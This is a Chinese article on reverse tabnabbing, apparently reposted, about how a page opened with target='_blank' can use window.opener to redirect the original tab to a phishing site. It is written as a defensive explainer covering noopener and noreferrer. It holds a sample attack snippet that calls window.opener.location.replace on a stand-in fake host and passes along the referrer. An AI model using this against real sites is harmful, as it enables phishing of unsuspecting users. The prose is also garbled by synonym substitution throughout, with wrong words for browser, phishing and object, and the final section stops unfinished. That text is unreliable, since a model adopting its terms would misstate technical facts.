你不曾察觉的隐患：危险的 target=_blank 与 “opener”

在网页中行使链接时，假如想要让赏识器自动在新的标签页打开指定的地点，凡是的做法就是在 a 标签上添加 target便是"_blank" 属性。

然而，就是这个属性，为垂纶进攻者带来了可乘之机。

发源

parent 与 opener

在说 opener 之前，可以先聊聊 <iframe> 中的 parent。

我们知道，在 <iframe> 中提供了一个用于父子页面交互的工具，叫做 window.parent，我们可以通过 window.parent 工具来从框架中的页面会见父级页面的 window。

opener 与 parent 一样，只不外是用于 <a target="_blank"> 在新标签页打开的页面的。通过 <a target="_blank"> 打开的页面，可以直接行使 window.opener 来会见来历页面的 window 工具。

同域与跨域

赏识器提供了完备的跨域掩护，在域名沟通时，parent 工具和 opener 工具现实上就直接是上一级的 window 工具；而当域名差异时，parent 和 opener 则是颠末包装的一个 global 工具。这个 global 工具仅提供很是有限的属性会见，而且在这仅有的几个属性中，大部门也都是不应承会见的（会见会直接抛出 DOMException）。

在 <iframe> 中，提供了一个 sandbox 属性用于节制框架中的页面的权限，因此纵然是同域，也可以节制 <iframe> 的安详性。

操作

假如，你的网站上有一个链接，行使了 target="_blank"，那么一旦用户点击这个链接并进入一个新的标签，新标签中的页面假如存在恶意代码，就可以将你的网站直接导航到一个卖弄网站。此时，假如用户回到你的标签页，看到的就是被替代过的页面了。

具体步调

1.在你的网站 https://example.com 上存在一个链接：

<a href="https://an.evil.site" target="_blank">进入一个“险恶”的网站</a> 

2.用户点击了这个链接，在新的标签页打开了这个网站。这个网站可以通过 HTTP Header 中的 Referer 属性来判定用户的来历。

而且，这个网站上包括着相同于这样的 JavaScript 代码：

const url = encodeURIComponent('{{header.referer}}'); 
window.opener.location.replace('https://a.fake.site/?' + url);  

3.此时，用户在继承赏识这个新的标签页，而原本的网站地址的标签页此时已经被导航到了 https://a.fake.site/?https%3A%2F%2Fexample.com%2F。

4.恶意网站 https://a.fake.site 按照 Query String 来伪造一个足以诱骗用户的页面，并展示出来（时代还可以做一次跳转，使得赏识器的地点栏更具有疑惑性）。

5.用户封锁 https://an.evil.site 的标签页，回到原本的网站………………已经回不去了。

上面的进攻步调是在跨域的环境下的，在跨域环境下，opener 工具和 parent 一样，是受到限定的，仅提供很是有限的属性会见，而且在这仅有的几个属性中，大部门也都是不应承会见的（会见会直接抛出 DOMException）。

可是与 parent 差异的是，在跨域的环境下，opener 如故可以挪用 location.replace 要领而 parent 则不行以。

假如是在同域的环境下（好比一个网站上的某一个页面被植入了恶意代码），则环境要比上面严峻得多。

防止

<iframe> 中有 sandbox 属性，而链接，则可以行使下面的步伐：

1. Referrer Policy 和 noreferrer

上面的进攻步调中，用到了 HTTP Header 中的 Referer 属性，现实上可以在 HTTP 的相应头中增进 Referrer Policy 头来担保来历隐私安详。

Referrer Policy 必要修改后端代码来实现，而在前端，也可以行使 <a> 标签的 rel 属性来指定 rel="noreferrer" 来担保来历隐私安详。

<a href="https://an.evil.site" target="_blank" rel="noreferrer">进入一个“险恶”的网站</a> 

可是要留意的是：纵然限定了 referer 的转达，如故不能阻止原标签被恶意跳转。

2. noopener

为了安详，当代赏识器都支持在 <a> 标签的 rel 属性中指定 rel="noopener"，这样，在打开的新标签页中，将无法再行使 opener 工具了，它为配置为了 null。

<a href="https://an.evil.site" target="_blank" rel="noopener">进入一个“险恶”的网站</a> 

3. JavaScript

noopener 属性看似是办理了全部题目，可是...赏识器的兼容性题目...

（编辑：河北网）

【声明】本站内容均来自网络，其相关言论仅代表作者个人观点，不代表本站立场。若无意侵犯到您的权利，请及时与联系站长删除相关内容!